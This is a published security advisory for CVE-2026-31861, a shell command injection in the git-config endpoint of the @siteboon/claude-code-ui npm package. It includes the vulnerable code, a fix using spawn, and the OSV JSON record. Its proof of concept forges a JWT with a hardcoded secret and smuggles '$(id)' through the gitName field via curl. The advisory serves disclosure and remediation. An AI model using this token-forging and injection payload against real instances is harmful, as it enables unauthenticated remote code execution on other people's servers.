GHSA-7FV4-FMMC-86G2
Vulnerability from github – Published: 2026-03-10 23:57 – Updated: 2026-03-11 20:45Shell Command Injection in User Git Config Endpoint
| Field | Value |
|---|---|
| Severity | High |
| CVSS 3.1 | 8.8 (High) — when chained with VULN-01 |
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| Attack Vector | Network |
| Authentication | JWT required (bypassable via VULN-01) |
| Affected Files | server/routes/user.js (lines 58-59) |
Description
The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.
This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.
Root Cause
server/routes/user.js lines 58-59:
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);
Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:
`malicious_command`— backtick execution$(malicious_command)— subshell execution
Impact
- Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
- The
git config --globalvector modifies the server-wide git configuration, affecting all git operations - When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data
Proof of Concept
# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")
# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}'
The server executes:
git config --global user.name "$(id)"
Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.
Remediation
Replace exec() with spawn() (array arguments, no shell):
// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.23.0"
},
"package": {
"ecosystem": "npm",
"name": "@siteboon/claude-code-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31861"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T23:57:23Z",
"nvd_published_at": "2026-03-11T18:16:24Z",
"severity": "HIGH"
},
"details": "# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) \u2014 when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` \u2014 backtick execution\n- `$(malicious_command)` \u2014 subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** \u2014 arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({\u0027userId\u0027:1,\u0027username\u0027:\u0027admin\u0027}, \u0027claude-ui-dev-secret-change-in-production\u0027, algorithm=\u0027HS256\u0027))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}\u0027\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\n\n// AFTER (safe):\nawait spawnAsync(\u0027git\u0027, [\u0027config\u0027, \u0027--global\u0027, \u0027user.name\u0027, gitName]);\nawait spawnAsync(\u0027git\u0027, [\u0027config\u0027, \u0027--global\u0027, \u0027user.email\u0027, gitEmail]);\n```",
"id": "GHSA-7fv4-fmmc-86g2",
"modified": "2026-03-11T20:45:18Z",
"published": "2026-03-10T23:57:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31861"
},
{
"type": "WEB",
"url": "https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04"
},
{
"type": "PACKAGE",
"url": "https://github.com/siteboon/claudecodeui"
},
{
"type": "WEB",
"url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.